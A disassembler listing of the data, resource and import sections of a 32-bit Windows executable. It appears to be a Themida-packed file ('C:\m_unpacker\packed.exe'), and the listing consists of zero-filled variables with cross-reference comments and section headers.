dword_4D0840	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4D0844	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4D0848	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4D084C	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4D0850	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4D0854	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4D0858	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4D085C	dd 0			; DATA XREF: sub_409B12+112w
dword_4D0860	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4D0864	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4D0868	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4D086C	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4D0870	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4D0874	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4D0878	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4D087C	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4D0880	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4D0884	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4D0888	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4D088C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4D0890	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4D0894	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4D0898	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4D089C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4D08A0	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4D08A4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4D08A8	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4D08AC	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4D08B0	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4D08B4	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4D08B8	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4D08BC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4D08C0	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4D08C4	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4D08C8	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4D08CC	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4D08D0	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4D08D4	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4D08DC	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4D08E0	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4D08E4	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4D08E8	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4D08EC	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4D08F0	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4D08F4	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4D08F8	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4D08FC	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4D0900	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4D0904	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4D0908	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4D090C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4D0910	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4D0914	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4D0918	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4D091C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4D0920	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4D0924	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4D0928	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4D092C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4D0930	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4D0934	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4D0938	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4D093C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4D0940	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4D0944	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4D0948	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4D094C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4D0950	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4D0954	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4D0970	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4D0974	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4D2970	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4D2988	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4D298C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4D2990	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4D2994	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4D2998	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4D2A18	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4D2A1C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4D2A20	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4D2A28	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4D2A2C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4D2B30	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4D2C34	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4D2C38	dd 0			; DATA XREF: sub_40BACD+52w
dword_4D2C3C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4D2C40	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4D2CC0	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4D2CC4	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4D2CC8	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4D2CD0	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4D2CD4	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4D2DD8	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4D2EDC	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4D2EE0	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4D2EE4	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4D2EE8	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4D2F68	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4D2F6C	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4D2F70	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4D2F78	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4D2F7C	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4D3204	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4D3308	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4D3310	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4D3314	dd 0			; DATA XREF: sub_40BACD+429w
dword_4D3318	dd 0			; DATA XREF: sub_40BACD+436w
dword_4D331C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4D3324	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4D332C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4D3330	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4D3334	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4D353C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4D3544	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4D354C	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4D3554	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4D3560	dd 0			; DATA XREF: ___:0040E4AAr
dword_4D3564	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4D356C	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4D3574	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4D3578	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4D3588	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4D3590	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4D39B8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4D3FD8	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 5Dh dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_43D120o
		dd 0BEh	dup(0)
dword_4D444C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D844C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D8450	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D8458	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D8490	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D8690	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D8E90	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D9690	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D9694	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D9698	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D969C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D96A0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D98A0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D98A8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D98AC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D98B0	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D98B4	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D98B8	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D98BC	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D98C4	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 7Fh dup(0)
dword_4D9AC4	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
dword_4D9AC8	dd 1944h dup(0)
dword_4DFFD8	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DFFDC	dd 1Bh dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
		db 0
byte_4E0049	db 3 dup(0)		; DATA XREF: ___:0043D324o
		dd 65h dup(0)
dword_4E01E0	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4E023C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4E043C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4E0440	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4E049C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4E069C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4E06A0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4E08A0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4E0AA4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4E0AA8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4E0AAC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4E0AB0	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4E0AB4	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4E0AE8	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4E0AF0	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4E0B28	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4E0B2C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4E0B30	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4E0B44	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4E0B48	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4E0B50	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4E0B54	dd 0			; DATA XREF: sub_4261AB+36r
dword_4E0B58	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4E0B60	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4E0B68	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4E0B6C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4E0B70	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4E0B74	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4E0B7C	dd 0			; DATA XREF: sub_41C748+Aw
dword_4E0B80	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4E0B88	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4E0B8A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4E0B8E	dw 0			; DATA XREF: sub_41D081+3Br
word_4E0B90	dw 0			; DATA XREF: sub_41D081+2Er
word_4E0B92	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4E0B98	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4E0BA0	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4E0BA4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4E0BA8	dd 0			; DATA XREF: sub_41F312r
dword_4E0BAC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4E0BB0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4E0BB4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4E0BBC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4E0BC0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4E0BC4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4E0BC8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4E0BCC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4E0BD0	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4E0BD4	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4E0BD8	dd 0			; DATA XREF: sub_42255C+29r
dword_4E0BDC	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4E0BE4	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4E0BF4	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4E0BFC	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4E0C00	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4E0B60o
		align 10h
		dd 3Ah dup(0)
dword_4E0D08	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4E0D0C	dd 0			; DATA XREF: sub_423590+21r
dword_4E0D10	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4E0D14	dd 0			; DATA XREF: sub_41F32D+7r
dword_4E0D18	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4E0D20	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4E0D22	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4E0D24	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4E0D40	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4E0D44	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4E0D48	dd 0			; DATA XREF: sub_4245E9+31w
dword_4E0D4C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4E0D50	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4E0D58	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4E0D60	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4E0D64	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4E0DA4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4E0DA6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4E0DA8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4E0DAA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4E0DAC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4E0DAE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4E0DB0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4E0DB2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4E0DB4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4E0DB8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4E0DF8	dw 0			; DATA XREF: sub_424A4A+46r
word_4E0DFA	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4E0DFC	dw 0			; DATA XREF: sub_424A4A+67r
word_4E0DFE	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4E0E00	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4E0E02	dw 0			; DATA XREF: sub_424A4A+55r
word_4E0E04	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4E0E06	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4E0E08	dd 0			; DATA XREF: sub_4247EC+80r
dword_4E0E0C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4E0E10	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4E0E14	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4E0E18	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4E0E1C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4E0E20	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4E0E24	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4E0E28	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4E0E2C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4E0E30	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4E0E38	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4E0E3C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4E0E40	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4E0E44	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4E0E48	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4E0E60	dd 400h	dup(0)		; DATA XREF: ___:off_442298o
					; ___:004422A0o
dword_4E1E60	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4E1E80	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4E1E84	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4E1F80	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4E1F84	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4E1F90	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4E1F9C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4E1FA0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4E20A0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4E20A1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4E21A4	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4E21A8	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4E21AC	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4E21B0	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4E21B4	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4E21B8	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4E21BC	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4E21C0	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4E21C4	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4E21C8	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4E21CC	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4E21D0	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4E21D4	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4E21D8	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4E21DC	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 388h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000E4000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E4000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4E4000h
		dd 53h dup(0)
dword_4E414C	dd 3ADh	dup(0)		; DATA XREF: ___:off_43FA38o
_rsrc___	ends

; Section 3. (virtual address 000E5000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000E5000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 4E5000h
a7icwCw		db '7¨çwµ\çw',0
		align 4
		dd 77345219h, 4	dup(0)
		dd 0E5050h, 0E5000h, 3 dup(0)
		dd 0E5079h, 0E500Ch, 5 dup(0)
aKernel32_dll_0	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 000E6000)
; Virtual size			: 000E1000 ( 921600.)
; Section size in file		: 000E1000 ( 921600.)
; Offset to raw	data for section: 000E6000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 4E6000h
